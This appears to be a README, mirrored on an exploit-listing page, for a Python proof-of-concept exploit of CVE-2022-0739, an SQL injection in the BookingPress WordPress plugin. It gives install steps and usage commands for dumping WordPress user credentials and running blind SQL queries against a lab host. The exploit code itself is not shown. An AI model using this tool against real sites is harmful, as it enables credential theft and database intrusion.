CVE-2022-0739 PoC — WordPress plugin BookingPress SQL注入漏洞

Description

🐍 Python Exploit for CVE-2022-0739

介绍

# CVE-2022-0739
Python PoC Exploit for [CVE-2022-0739](https://nvd.nist.gov/vuln/detail/CVE-2022-0739)

## Features
* Database Metadata Lookup
* Wordpress User Credential Dump
* Arbitrary Blind Query Injection 💉

## Usage
```bash
usage: cve-2022-0739 [-h] -u URL [-e EXEC]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the page containing the BookingPress Widget
  -e EXEC, --exec EXEC  Optional query for Blind SQL Injection
```
### Information Leak
```bash
cve-2022-0739 --url http://metapress.htb/event
```

### Blind Injection
```bash
cve-2022-0739 --url http://metapress.htb/event --exec "SELECT SLEEP(5)"
```

## Installation

### PyPI
```bash
python3 -m pip install cve-2022-0739
```

### Manual 
```bash
python3 -m pip install cve_2022_0739-1.0.0-py3-none-any.whl
```
[Download Latest Release](https://github.com/BKreisel/CVE-2022-0739/releases/download/1.0.0/cve_2022_0739-1.0.0-py3-none-any.whl)

## Demo
### Information Leak
[![demo](https://asciinema.org/a/544403.svg)](https://asciinema.org/a/544403?autoplay=1)

### Blind Injection
[![demo-exec](https://asciinema.org/a/544404.svg)](https://asciinema.org/a/544404?autoplay=1)

文件快照

备注